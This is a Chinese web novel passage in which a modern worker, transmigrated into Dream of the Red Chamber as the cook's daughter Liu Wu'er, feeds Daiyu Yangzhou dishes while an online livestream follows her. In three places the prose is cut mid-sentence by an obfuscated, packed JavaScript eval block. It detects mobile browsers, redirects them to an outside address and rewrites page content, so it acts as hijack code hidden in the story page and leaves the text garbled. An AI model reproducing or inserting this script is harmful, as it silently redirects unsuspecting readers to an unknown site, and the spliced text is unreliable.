《红楼打工人绝不认输》 1. 火腿碧粳粥 晨光初透，雕花窗棂漏下几缕金线，斜斜落在少女苍白的脸颊上。 柳舞闭着眼，耳畔尽是陌生的声响——远处隐约的捣衣声、檐角铜铃轻晃、还有……一团软乎乎的温热正贴在她脸颊上。 “宿主！宿主醒醒！”稚嫩童音乍响在耳畔。 柳舞猛然睁眼，入目是茜色纱帐上绣的缠枝莲纹，再一偏头，险些与悬在半空的糯米团子撞个正着。 那团子不过巴掌大，通体莹白如雪，两粒黑豆眼正滴溜溜转着，短胖小手扒着她散在枕上的青丝，活像只偷食的汤圆成了精。 “什么玩意儿？！” 柳舞一个激灵坐起身，低头看去，藕荷色中衣下裹着的分明是具孩童身子，手腕细得能瞧见淡青血管。 她不是在家里睡觉吗？现在这是什么情况？！ 汤圆团子飘到她眼前，搓着小手讪笑： “宿主您好，我是系统001！恭喜您被选中成为《红楼梦》世界修正者，当前身份——荣国府厨房管事柳嫂子之女，柳五儿。” 虽然柳舞平时看过不少穿越小说，这一时也还是没能反应过来，抬手掐了下脸颊，疼得倒抽冷气： “你们穿越部招工这么随便吗？我睡个觉都能……” “最近穿书部KPI吃紧嘛。”团子心虚地缩起来，“那个……您看这屋子多雅致！……” “等等！你刚刚说什么？ 这是哪儿？！ 红楼梦？！！！ 是四大名著那个红楼梦吗！” 柳舞这才反应过来。 团子扑棱着短腿追在她身后：“对，就是四大名著之一的《红楼梦》，太多读者投诉结局不好，就派我们来修改剧情了，等剧情完成度到达100%就能退出这个世界，赢得奖励返回原世界。” 柳舞这会儿也被迫接受了，接着问系统，“那我有什么金手指吗？”要想躺平摸鱼，就得有好工具。 “这个……没有。” “那积分商城呢？” “这个……也没有。” …… “那你有什么？” “有剧情！” 小团子也有些心虚，奈何第一次出来工作，柳舞好歹是个社畜，它就纯粹是个职场新人，又偷摸地看看柳舞。 一人一团大眼瞪小眼。 柳舞默哀，可怜见的，这是打黑工啊！ 往好处想想，起码有个搭子，可以一起吃瓜。 淡定淡定，来都来了，这可是红楼！ 柳舞下床在屋中转转，熟悉一下环境，铜镜中映出的人影让柳舞呼吸一滞。 镜中少女虽面色苍白，却生得眉目如画，尤其那双杏眼流转间似含秋水，鸦青长发散在腰间。 木门“吱呀”轻响，柳舞尚未抬头，先嗅到一缕勾人馋虫的鲜香——那是火腿经松烟熏烤后特有的醇厚，混着清甜的米香，在潮湿药味中劈开道暖融融的缝隙。 “五儿怎么光脚下地！” 妇人急步上前，漆盘与桌子磕出清脆声响。 柳舞只觉身子一轻，已被按回床榻。抬眼对上来人面容，这应该就是原身母亲——柳嫂子了。 柳嫂子把青瓷碗递到柳舞唇边，琥珀色米粥浮着胭脂火腿丁，金黄油花如绽开的报春梅。 “慢些喝，你这热病刚好，喝些粥养养胃口，灶上还给你煨着山药，等晚些时候吃。” 妇人指尖粗糙温热，轻轻拭去她嘴角米粒， “昨儿庄子上送来新腌的酸笋，娘明日给你炖汤……” 柳舞捧着碗的手微微发抖。前世孤儿院长大的记忆翻涌而上：福利院食堂寡淡的菜汤，工作后出租屋里冷掉的外卖，何时有人为她熬过这温热的粥。 她拽住妇人袖角，细声问：“娘，这粥……怎么熬的？” 柳嫂子愣怔片刻，眼尾笑纹倏地绽开： “外面贡上来的碧粳米，我留了一小份，用山泉水泡足两个时辰，倒入砂锅小火慢熬成粥。 火腿取三年陈的云腿中段，拿葱、姜片垫着蒸透，把汤分出倒入粥里，火腿切丁分两份，一份先倒入粥中。 取蛋清搅匀倒入砂锅，把粥盛出后再撒入火腿丁和葱粒……” 檐下麻雀叽喳声中，妇人絮语与庖厨烟火渐渐织成实感。 柳舞小口啜着粥，听柳嫂子说起晨起如何与采买婆子周旋，说后厨新到的冬笋水灵，说西府琏二奶奶最爱她做的胭脂鹅脯…… 直到团子急得在帐顶蹦跳，她才惊觉已日上三竿，赶紧让柳嫂子去忙了。 …… 暮色已至，柳舞裹着被子窝在榻上，面前摊着本食谱，这是柳嫂子的私藏珍本。 团子趴在她肩头碎碎念：“宿主真的要学厨吗，现在剧情进度一点也没反应……” 柳舞翻过一页，盯着‘火腿煨肘子’的图示咽口水， “统统，你知道在贾府生存，最有利的方式是什么？” 小团子一脸茫然。 “不是攀附宝玉，也不是讨好凤姐。” 她屈指轻敲书页，“是靠自己的有利条件学门精艺，发展自己的人际网。” 贾府人员众多，各院各房自有安排，人员流动并非那么容易。 柳五儿所在之地，自有得天独厚的优势，能接触各处往来之人，虽说不能直接与夫人姑娘们打交道，但下人们也能提供更多的信息。 此后时日，庖厨成了柳舞的主战场。 她跟着柳嫂子辨认食材：青花瓷坛存着的玫瑰卤子、进贡的香米、熏得乌亮的梁上悬着的金华火腿…… 每至五更天，她便蹲在灶前看火，将柳嫂子说的“文武火交替”、“七分沸三分焖”记于纸上…… 但柳五儿这身体实在太过病弱，全凭柳嫂子职务便利，用上好食材补着。 食补究竟难治根本，还得是强身健体，再者庖厨之中也多耗心力，更要体力支撑。 所以柳舞每日早晨都检查做些锻炼，几个月下来，面色倒是红润不少。 …… 熟悉了日常事务，接下来柳舞就在贾府里溜达溜达，熟悉地图，和各个院子的小丫鬟们交流感情，回来呢，就和柳嫂子一同准备美食，精进厨艺。 系统小团子也不闲着，每碰见一个npc，就自动播报基本信息，姓甚名谁，在哪做活，喜恶为何，帮助柳舞快速建立人际网。 柳舞虽然是个爱摸鱼的社畜，但为了混口饭吃，这么多年的工作经验，让她在察言观色、待人接物上技能点算是拉满了。 这日，柳舞裹着褂子蹲在小花园的梨树下，指尖捏着块新制的栗粉糕，听几个小丫鬟叽叽喳喳说闲话。 “听说东府珍大奶奶的妹子要来，点名要吃胭脂鹅脯呢！” “琏二爷房里的秋桐姐姐昨儿得了对翡翠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273917|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镯子，说是老太太赏的……” “你们可瞧见梨香院新栽的海棠了？开得比云霞还艳！” 团子趴在她发髻上晃悠： “宿主不是要强身健体？怎么又溜来听墙角？” “这叫知己知彼。”柳舞掰了半块栗粉糕递给路过的春燕， “好姐姐，浆洗房今日可有鲜荷叶？我想熬荷叶粥。” 春燕接过糕点抿嘴笑：“偏你耳朵尖！库房刚收了一筐，回头给你留两片。” …… 又见，晨光初露时，柳舞照例在院里练五禽戏。 单足立于青石，广袖盈风如鹤展翅，忽听假山后传来笑声： “五儿姑娘这身法，倒比戏台上的武生还俊！” 探头的是宝玉房中的小红，挽着竹篮来摘桂花。 柳舞足尖轻点落地，顺手替她拂去肩头落花：“姐姐这篮子编得精巧，赶明儿教教我？” “你若是拿玫瑰露来换，我便教你。” 小红眨眼，“昨儿你送袭人姐姐的糖蒸酥酪，香得我半夜睡不着呢！” 两人说笑着往庖屋去，团子缩在柳舞袖中嘀咕：“宿主如今倒成散财童子了。” “你懂什么？”柳舞将新摘的桂花摊在院里晒，“真心换真心，比什么金手指都强。” …… “舞儿，你在原世界就没有什么执念吗？” 系统小团子最近正在研习前辈的经验书籍，发现很重要的一条就是“用宿主执念激发任务热情”。 但观察了几天，发现柳舞对返回原世界好像没有什么热情。 “你别说，还真有。我们公司东边第三个街口第二个巷子左手边第四个铺子，是家湘菜馆，可好吃了！可惜最近装修闭店了。我还没吃够呢，等回去一定连吃三顿！不，连吃三天！！” “统统啊，湘菜，吃过没？就是那种一吃就能下好几碗饭的那种。” “没有呢，我才刚工作，等我努力攒进度，就能兑换实体了！不过现在也只能做个阿飘。” 哎，小可怜，涉世未深，不知工作艰辛啊。 不过工作热情倒是蛮高的，那就负责研读剧情吧，这样才更好吃瓜！不是，更好走进度嘛。 别的嘛，也没什么可留恋的，她一个孤儿，平时又不爱社交，留恋什么？ 留恋大城市每月五千的租金吗？ 留恋996的打工生活吗？ 留恋每天n小时的通勤吗？ 还是留恋拼死拼活也只能在大城市买个小厕所的日子啊！！！！！！ 所以呢，钱够花就行，工作没丢就行，丢了也行，该吃吃该喝喝，及时行乐就好。 …… 很快就到了两年之后，按时间线，黛玉马上就要到京城了。 这日晌午，柳舞捧着食盒往议事厅去，里头码着新做的姜枣蜜饯。刚转过穿堂，迎面撞见平儿扶着凤姐出来。 “正说你呢！”平儿笑着拉她，“前日你教琥珀做的核桃酪，老太太用了半碗，直夸比太医开的药还灵。” 王熙凤拢着貂绒手笼，丹凤眼扫过食盒：“林姑娘后日进府，老太太吩咐备些江南点心。” 柳舞眼睛一亮：“扬州翡翠烧卖要掐十八道褶，煮干丝须得三年陈火腿吊汤……” “倒是个实心眼的。”凤姐轻笑，“去库房领两篓洞庭橘，就说赏你试菜的。” 2. 清炖狮子头 回厨房路上，团子兴奋得蹦跳：“要见林妹妹了！” 柳舞却望着檐角冰凌出神。这两年她将各院口味摸得门清：探春爱茶香糕，惜春嗜杏仁酪，宝玉见了糖蒸酥酪便走不动道…… 可那位绛珠仙子，该用怎样的吃食熨帖乡愁？ 推开屋门，柳嫂子正在熏火腿。二十年陈的云腿悬在梁下，松柏烟气裹着咸香扑面。 “娘，教我熬碧粳粥吧？” “这粥你早会了。” “这次要添些新花样。”柳舞洗净手站到灶前， “米粒要熬得开花，火腿切作梅瓣，再撒些碾碎的干桂花……” 火光跃动在柳五儿眼眸，恍惚已不是当年病榻上的瓷娃娃。 柳嫂子望着女儿翻飞的衣袖，忽然觉得这方寸灶台，竟容不下她满身鲜活气。 …… 黛玉生于姑苏，长于扬州，淮阳风味最宜，又舟车劳顿，恐胃口不佳，还需清淡不油腻，柳五儿打算做一道清炖狮子头。 正值冬日，清晨雾气未散，檐角垂着冰棱，灶膛里的柴火噼啪作响。 今日林妹妹进府，各处一大早都开始做准备了。 柳五儿立在案前，正用刀切割一块肥瘦相间的五花肉。刀刃与砧板相击，发出”笃笃”的响声，肉块应声变为石榴籽大的肉丁，刀刃斜斜一刮，便骨碌碌滚进盆里。 经过两年的训练，这些基础工作对柳五儿来说，已经不算什么难事。手臂上精壮结实的肌肉，让这项工作无需太过费力。 柳嫂子在一旁继续讲解， “这肉呀，选材最为要紧，定是要七分瘦三分肥的口感最佳。多切少斩，既要细腻、又要保持嚼劲。” 看着五儿熟练的动作，柳嫂子也是很欣慰。 她独这一个女儿，前些年身体病弱，难免忧心。如今既是对烹调感兴趣，那她就将全部手艺倾囊相授，好让五儿日后有所施展。 五儿也是遗传了她的天赋，只需略加点播，就能领悟，如今在贾府厨中也是手艺极好的。 看柳五儿能够独自应付，柳嫂子就去准备其它时蔬了。荸荠碎用梨汁泡着，笋尖要取最嫩的…… 案头竹筛里码着雪梨浸过的荸荠碎，清甜气息混着葱姜水的辛香，在灶间氤氲开来。 柳五儿用刀背在肉上捶打，待肉末渐渐蓬松起来，再掺入葱姜水、黄酒、细盐，打进一只鸭蛋清，接着掌心微拢，顺着一个方向搅打。 待肉馅渐渐黏糯如胶，与荸荠碎同拌，捏一团摔在掌心，圆溜溜颤巍巍。 肉丸要保持口感，馅里不能放芡汁。确认肉馅搅打上劲了，柳五儿把调好的芡汁抹在手上，开始捏狮子头。 芡汁自然附于肉丸表面，入油锅略炸，至外结薄壳捞出。 砂锅早用白菜叶垫了底，高汤是晨起吊的，老母鸡与火腿骨熬足三个时辰，澄黄如琥珀。 高汤徐徐倒入砂锅，汤汁漫过白菜叶，狮子头卧在中央宛如白玉含翠。 冬笋片薄如蝉翼，枸杞几点猩红，盖子一合，文火慢煨。水汽在窗棂凝成霜花，倒映着柳五儿鼻尖细密的汗珠。 …… 与此同时，在现代某出租屋内，程序猿聂桐正瘫在椅子上扒拉着外卖盒里的卤肉饭。 电脑屏幕上，美食区的直播间清一色是“爆辣火鸡面挑战”或“十斤炸鸡速吃”。他叹了口气，拇指机械地滑动页面。 突然，一个直播间闯入视线——画面里，一群丫鬟婆子穿梭在古色古香的屋子中，案板上堆着水灵灵的白菜和晶莹的肉馅。 镜头正对一名少女的侧脸，她绾着双髻，杏眼低垂，正专注地捏着肉团。 直播间弹幕寥寥无几： 【螺蛳粉战士：这手法比我妈包饺子还娴熟！】 【甲方改稿第8版：建议狮子头刻二维码，扫码看制作流程（狗头）】 【薛定谔的锅铲：荸荠用梨汁泡是什么邪典吃法？但莫名想尝（咽口水）】 【干饭人是人上人：深夜放毒！本打工人怒泡一碗老坛酸菜面（泪）】 诶，这个有点意思，看着是在一个厨房里，穿着古装，难道是哪个剧组在做剧场宣传？倒是新奇，一看直播间名字——“跟着五儿逛红楼”。 奇怪，没听说最近要翻拍《红楼梦》啊。可这不是剧组，总不能是自己搭建的厂棚吧，这也太奢侈了，还是说在蹭红楼的热度？ 聂桐截了张图发到论坛：“求助！这是哪个剧组？场景还原度逆天！” …… 菜品都已准备妥当了，系统小团子提示黛玉已到贾府门口，柳五儿找了个由头从厨房溜走、躲开众人，到了黛玉必经之地。 踮脚从角门缝窥去，只见雪雁扶着个纤弱女童踏过门槛。那女孩裹着月白斗篷，行动似嫩柳拂风，虽低垂螓首，通身气度却如寒潭映月。 柳五儿本想多看两眼，小团子突然播报：“宿主！有人过来了！快走快走！” 再回到厨房，狮子头已炖够时辰，砂锅揭盖，刹那间白雾裹着醇香扑面而起。 鲜亮清汤中卧着莹润肉丸，表层泛着珍珠般的光泽，冬笋片斜插如月牙，枸杞猩红点缀其间。 柳五儿执长柄银勺轻按，狮子头便颤巍巍漾开涟漪，露出内里星星点点的荸荠碎，恍若雪地里撒了碎玉。 接下来前厅如何，柳五儿就不得而知了，也不知道林妹妹能不能吃惯这狮子头，不由有些忐忑。但两年的练习也给了五儿不少信心，倒也不太过紧张。 再看前厅宴上，做好的狮子头从砂锅中取出，分别放置在盏中，一人一份，精致好看。 黛玉执起天青釉葵口盏，盏中清汤映着烛火。 她舀起半勺汤，并不急着入口，先就着光瞧那狮子头截面——肉纹细如蛛网，荸荠碎若隐若现，倒似宣纸上晕开的淡墨点。 “妹妹尝尝这扬州风味可正宗？”探春隔着紫檀嵌螺钿小几笑问。 黛玉颔首，贝齿轻咬一口肉丸，入口的刹那，黛玉眉心极轻地一跳。 齿尖破开绵软外皮，荸荠的清甜混着梨汁幽香在舌尖炸开，恍惚间竟与记忆中扬州老宅后厨飘来的香气重叠。 她喉间微动，帕子已掩住唇角：“倒是……比寻常的多三分清润。” …… 直播间的画面也已转至黛玉入贾府、与众人共同入宴。聂桐的帖子半小时内被转发破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273918|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千，直播间的人数也飙升破万，弹幕疯狂滚动， 【momo：林妹妹好美！】 【这选角保密局出身的吗？一点动静都没有，完全不宣传啊！】 【宝宝肚肚打雷了：一顿饭可以有这么多菜的吗？！】 【八旬老太大战高数：这服化道也太细节了吧，有没有商家打版复刻一下啊！！！】 …… 宴上人多，要应付各处问候，还得保持举止得体，柳五儿怕林妹妹未能吃好，半下午的时候专门熬了份碧粳粥。 待到日头落下，端着食盒走到黛玉住处，正听见屋内传来一声轻叹， “雪雁，这香囊的穗子怎的又松了？”黛玉的声音清冷中带一丝倦意。 “姑娘且歇歇眼，仔细伤了神。”雪雁捧着茶盏劝道。 柳五儿轻轻叩门，雪雁开门，虽不认识她，也笑着迎了进去。 帘栊轻响，柳五儿垂首进屋，见黛玉斜倚在榻上，手中攥着半旧的书，腕上翡翠镯子随动作滑落，衬得肌肤胜雪。 “林姑娘安好。”柳五儿将食盒轻放在小几上，自报家门， “我是厨房柳嫂子的女儿柳五儿，你们叫我五儿就好。今日准备的狮子头不知合不合姑娘胃口。我熬了碗粥，姑娘刚入府，路上奔波劳累，喝点粥暖暖胃，也好早些休息。” 黛玉眸光微动，轻笑一声：“今日这狮子头竟是你做的，倒像是扬州风味，难为你费心了，里面是不是放了荸荠？” “姑娘好灵的舌头！”柳五儿眼睛发亮， “扬州做法要掺脆荸荠，只是贾府的荸荠不如扬州水甜，我拿梨汁泡过才敢用。” 黛玉低头抿了口粥，睫毛轻颤：“梨汁掩得住涩，却掩不住北地的水硬。” 窗外忽地掠过一阵风，树影扫过纱窗，在黛玉脸上投下斑驳的影。 雪雁忙要去关窗，却听黛玉轻声道：“且开着罢，这风声倒像扬州雨打竹梢的调子。” 柳五儿见黛玉又起思愁，连忙转开话题，语调轻快，“姑娘若喜欢，明儿我再熬些鸡丝粥。” 黛玉搁下瓷勺，苍白的唇勾起浅弧：“劳你费心。只是这碧粳米金贵，不必为我……” “米再金贵，还能金贵过姑娘的身子？”柳五儿眨眼， “厨房日日熬参汤，我偷舀一勺米算什么！” 黛玉“扑哧”笑出声，颊边浮起淡淡血色。雪雁惊喜道：“姑娘可算展颜了！” 直播间弹幕飘过： 【五儿×黛玉！温柔厨娘×病弱才女，这CP我先磕为敬！】 【今夜不吃鸡，吃鸡就吃肯德鸡：救命！林妹妹摸书页的小动作杀我！】 【这声笑我能循环十遍！】 【她说风声时，眼里有泪光啊呜呜呜！】 柳五儿浑然不知直播间的热闹景象，这会儿正蹲在小厨房后院，往陶罐里塞新腌的雪里蕻，统统突然惊喜汇报：“宿主，黛玉幸福值+1！当前进度解锁5%！” 柳五儿拍了拍衣裙，往房中走，既然黛玉已来到贾府，那接下来就要开始走剧情了，现在最重要的就是养好林妹妹的身体。 红楼打工人，加油！ 3. 火腿炖肘子 时间不过一日，此刻的现代社交媒体早已炸开锅。 #跟着五儿逛红楼# 空降热搜榜首，相关话题霸占文娱榜前五： #贾府狮子头能不能真空包装#（美食博主逐帧分析烹饪过程） 热评：【扬州文旅局：五儿同志请速来我局报道】 #雪雁劝黛玉歇眼像极了闺蜜催我睡觉#（网友剪辑雪雁递茶动图，配上“宝，别看甄嬛传了”） 影视界如临大敌，这制作，谁能比得过啊；红学家两眼发光；还有有博主剪辑了五儿版红楼梦，热剧联播大受欢迎。 至于这直播到底是谁开的、里面究竟是古人还是现代人，没有人知道。 从此多了一批神秘网民，他们总是晚上八点守在直播间，等待“跟着五儿逛红楼”开播，内容大多是厨房美食记录+投喂林妹妹日常。 …… 要说这厨房，虽不是什么人人争着进的宝地，也算是个小社会，惯是些会见风使舵的。 也怪不得人，好东西就那么些、精力也有限，要想各处讨好是做不到的，难免有些偏向。 同样的东西，上心去做的和那流水线出来的，自是不一样。 柳五儿自己常开小灶，对黛玉又格外上心，变着花样做吃食给送去，什么山药糕、玫瑰露、莲叶羹、鸡油卷……是次次不重样。 黛玉一行人远离家乡，刚入贾府，人生地不熟的，也没什么相熟的人，一来二去，倒是和柳五儿亲近不少。 因着这缘故，黛玉虽是孤女进府，在吃食上也未受什么委屈，反倒比别人更好些。 …… 今日做的是火腿炖肘子。 柳五儿在厨房石板上磨刀。刀刃蹭过磨石发出“沙沙”声，惊得竹篓里的冬笋微微颤动。 她拎起一只金华火腿，浸入温水中，表面的盐霜如雪消融，胭脂色的肌理渐露。 这还不能完全去除火腿中厚重的盐分，要接着放锅中煮，去除表面油蜡，切片备用。 猪肘子架在炭盆上，火舌燎过表皮，“噼啪”声中毛已炙烤干净。 待黑痂刮去洗净，和葱段、姜片、料酒一同入锅，煮至筷子能扎进去，捞出晾凉。 柳嫂子抱来一筐冬笋，“今日这道‘金银蹄’是老太太点名要的，最是滋补，你仔细学着火候。” 柳嫂子在猪肘表面涂上一层蜂蜜，下锅油炸，待表面金黄、略起小泡就能捞出了。 柳嫂子动作娴熟、行云流水，一边操作一边给柳五儿传授，还能分出心思交待屋里其他人忙活。 与贾府厨房打了十几年的交道，这些对柳嫂子来说已经习以为常了，但五儿仍有很长的路要走。 在这一方天地之中，想要站稳脚跟，女子本就要比男子付出更多的努力。她无力改变这种规则，只能让自己做得再好些，让五儿学得再多些。 砂锅内铺上葱姜，火腿与鲜蹄交叠如金银元宝，提前泡发好的黄豆，香菇、冬笋片簇拥四周。 冷水漫过食材，桂皮、八角沉入锅底，柳五儿拍开陈年花雕的泥封，酒液倾泻而下，冲得小团子晕乎乎打转： “宿主，你这是要醉死黛玉啊！” “你懂什么？黄酒祛腥，豆豉提鲜，再加一勺甘蔗糖——” 柳五儿手腕轻抖，冰糖碎如雪落，砂锅盖上荷叶，文火慢煨足足一个时辰才能炖好。 …… 直播间里又开始了新一轮刷屏。 【蜜汁叉烧包：我愿用三年单身换一口金银蹄！】 【死嘴快嚼啊，我山东大馒头就不香了吗？】 【甲方爸爸快打钱：这肘子皮看着比我的未来还光亮（泪目）】 【九转大肠ptsd患者：这肘子焯过水吗我不吃（阴暗爬行）】 …… 柳五儿正准备开盖，院外忽传来一阵喧哗。 七八个婆子拥着个穿金戴银的妇人闯进来，领头的是大厨房总管吴新登家的，吊梢眉高挑： “柳嫂子，老太太房里的火腿怎少了一只？” 柳嫂子擦着手从灶间出来：“昨儿领的都在账上记着，吴妈妈不妨查查……” “查什么查！”吴新登家的甩出账本， “单这月你们小厨房就支了三只火腿，当我瞎不成？” 眼风扫过砂锅，冷笑道：“哟，还偷炖上火腿了？” 柳五儿心头一紧。 这火腿确是贾母特批给黛玉补身的，但账目向来由王熙凤亲自过目，如今突然发难，怕是有人眼红她们母女近日在主子跟前得脸。 “妈妈这话差了。”柳五儿起身福了福， “林姑娘的药膳都是凤姐姐批的条子，昨儿平儿姐姐还送来两篓冬笋……” “少拿琏二奶奶压人！”吴新登家的突然伸手掀锅盖，“我倒要看看——” 话音戛然而止。 直播间镜头恰好对准掀开的砂锅：琥珀色浓汤中，火腿与肘子如金玉相嵌，冬笋片在热气中舒展如兰。 …… 弹幕瞬间爆炸： 【掀锅这婆子好像我抢限量版的闺蜜！】 【电子木鱼已敲烂：把这婆子和偷我外卖的锁死（合十）】 【这香气快溢出屏幕了啊啊啊】 【火腿：你清高，你拿我当宅斗工具人】 【报告显示火腿系自杀（狗头）】 【我先吃为敬(夹一筷子)(翻身)(打滚)(溜走)】 【楼上别走，给我来口汤】 …… 柳五儿突然抓住吴新登家的手腕：“妈妈仔细烫着。” 指尖在她袖中一勾，竟扯出个小油纸包，“呀，这不是库房的肉桂粉？” 众人哗然。吴新登家的脸色煞白——偷拿库房香料可是要打板子的。 “定是方才搬柴火时沾上的。”柳五儿将纸包塞回她掌心，声音清亮，“就像我们灶间的火腿味，难免沾身呢。” 吴新登家的冷汗涔涔，带着人灰溜溜走了。 处理了吴新登家的，柳五儿赶紧去看炖好的金银蹄，好在没误了火候，色香味俱全。 她虽有意给林妹妹偏倚，但心中也是有数的，什么可以夹带，什么不能私动，自有定量。 这火腿、肘子之物，册上都是按个走的，哪敢直接拿来就用。不过今后还是要多加小心，省的被有心之人利用。 不再耽搁，柳五儿把炖好的金银蹄装进食盒，就赶紧去找林妹妹，一会儿凉了吃着可就不好了。 “五儿姐姐又来送吃食？” 雪雁眼尖，远远地便瞧见食盒缝隙漏出缕缕白雾，笑着打趣， “前日姑娘还说，再这般投喂，箱笼里的衣裳都要改尺寸了。” 柳五儿迈进暖阁，掀开食盒， “这金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273919|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银蹄若凉半分，可就要辜负三更天起来煨的火候了。” “姑娘尝尝这个。” 柳五儿用银筷尖挑开颤巍巍的蹄髈皮，露出内里雪花纹的嫩肉， “皮子拿蜂蜜炙过，再用陈酿花雕煨软，半点不腻。” 黛玉夹起寸许见方的肉块，琥珀色的肘子皮在齿间轻轻一抿便化开，蜜香混着丝丝酒气漫上鼻尖。 黛玉下意识用舌尖舔过下唇，忽觉失态，忙垂眸去搅碗中冬笋片。偏那笋尖切得薄如蝉翼，在汤中载沉载浮。 …… 直播间又开启了深夜小食堂。 【民政局自己来了：五儿看黛玉的眼神啊啊啊！我宣布这就是红楼官配！】 【黛黛饲养员：五儿投喂动作熟练得令人心疼】 【扫把粘蟑螂，打架我最强：这特写，我嘴里的泡面顿时不香了】 …… 这些天的食补初有成效，雪雁也在一旁说道， “姑娘这些日都不大咳了，看着精力也好些，往日中午一歇就要快一个时辰，这几日不过半个时辰就起来了。” 柳五儿也点点头，“林姑娘不如跟着我早起锻炼吧，我早些年也是身子比较弱，如今锻炼之后，身子倒是好了不少。” 林黛玉听了，微微颔首，眼中闪过一丝犹豫。她素来体弱多病，平日里连走路多了都会累着，因着药的缘故，平时也多感乏力，但见柳五儿气色红润，精神饱满，心中也不免有些羡慕。 见黛玉似乎有些心动，柳五儿微笑着继续说道， “每日清晨，我都在院子里打打太极，活动活动筋骨，还有各院的小姐妹们，有空了也不时来做伴，林姑娘若是愿意，不妨也试试。” “五儿说得是，我这些日子确实感觉身子轻快了些，或许真该试试。”林黛玉轻声说道。 柳五儿见她有意，便笑道：“那明日一早，我来找姑娘一起。咱们先从简单的动作开始，慢慢来，不着急。” 雪雁在一旁听了，也笑着附和：“姑娘若是能坚持锻炼，身子骨定会越来越好。到时候，也不用总是担心姑娘的病了。” 林黛玉微微一笑，心中也有些期待。若真的有效，那药是不是也能少喝些了。 次日清晨，天刚蒙蒙亮，柳五儿便来到林黛玉的房前，轻轻叩门。林黛玉早已起身，虽有些困倦，但心中却隐隐有些兴奋。她换上一身轻便的衣裳，随着柳五儿来到院中。 晨风微凉，空气中带着一丝清新的草木香气。柳五儿站在院中，开始缓缓地打起太极，动作轻柔而流畅。林黛玉和雪雁站在一旁，学着她的样子，慢慢抬起手臂，跟着她的节奏，一呼一吸间，竟觉得心中渐渐平静下来。 “林姑娘，动作不必太用力，放松些，跟着呼吸的节奏就好。”柳五儿轻声提醒道。 林黛玉点点头，慢慢找到了感觉。虽然动作生疏，但她却觉得身子渐渐暖和起来。 …… 直播间也在线打气。 【勇敢黛玉，不怕困难！】 【啊啊啊，能不能众筹给黛玉治病呀，眼睛要袅袅了】 【先磕为敬！】 【怎么有人锻炼都这么美的啊，只有我累的像条狗吗？】 【楼上你不是一个人】 【早八人破防：林妹妹竟是我自己（阴暗扭曲）】 【锻炼完黛玉变黛彧（闪电特效）】 4. 冬去春来饭 柳五儿看出黛玉早起还是有些困倦，若是到她院里，和各处下人一块儿锻炼也不大妥当。 索性把时间改至早饭前，她来送吃食的时候，顺便陪林妹妹锻炼。 等到后面林黛玉和雪雁自己就能完成，也无需等她来了。 在雪雁和柳五儿的监督下，黛玉也是每日检查，锻炼内容由太极又增加了五禽戏…… 当然，日常食补还是不能少的，各色小食与柳五儿准时到林黛玉房中报道，现代直播间也按时更新下饭剧情。 …… 午后，柳五儿在屋里打盹，小团子趴在她肩头，偷偷用她的发丝编中国结。 “统统，”柳五儿突然出声， “你说咱们改变黛玉的剧情，真的不会影响其他事吗？” 小团子一个激灵把编到一半的结藏起来： “理……理论上不会！但宿主最近给黛玉投喂太多，探春那边的点心份额确实减少了0.3%……” 柳五儿猛地坐直：“你怎么不早说！” “因为黛玉幸福值涨了5%呀！” 小团子急中生智，“而且宿主你看——” 它突然投影出一段光幕，显示宝玉正偷偷把自己的茯苓糕塞给探春。 柳五儿噗嗤笑了：“倒是我瞎操心。” 她戳戳团子，“这个监控功能不错，以后多开开。” “很耗能量的！”小团子炸毛， “除非……”它扭捏地滚了滚， “除非宿主答应今晚做酒酿圆子……” 随着黛玉幸福度提升，剧情进度也在缓慢移动，系统小团子现在已经有了实体，能吃能喝，自然逃不过小厨房美食的诱惑，一逮着机会就蹭吃。 暮色中，一人一统蹲在灶台边。 小团子整个泡在酒酿碗里，醉醺醺地晃着圆滚滚的身子，哼起跑调的小曲儿： “我是快乐小系统～天天跟着宿主混～ 叮叮咚，剧情修正中～ 叮叮咚，幸福往上冲～” 短胖小手还打着拍子，溅起几滴甜酒酿，活像只醉酒的糯米汤圆。 …… 初春已至，贾府后山里许多野菜都长起来了，柳五儿打算做道冬去春来饭，把春天的新生和冬天的积蓄都焖进一碗饭中。 天边刚泛起蟹壳青，柳五儿便轻手轻脚地推开房门。她挽着竹篮刚迈过门槛，就听见身后传来熟悉的脚步声。 “娘？您怎么也起了？” 柳五儿回头，见柳嫂子正将一根木簪往发髻里插，鬓角还沾着灶间的柴灰。 柳嫂子接过女儿手中的篮子，指尖在她额头上轻轻一点： “昨儿不是说好去后山挖笋？小小年纪，记性倒这么差了。” 说着从怀里掏出个油纸包， “趁热吃，芝麻馅的。” 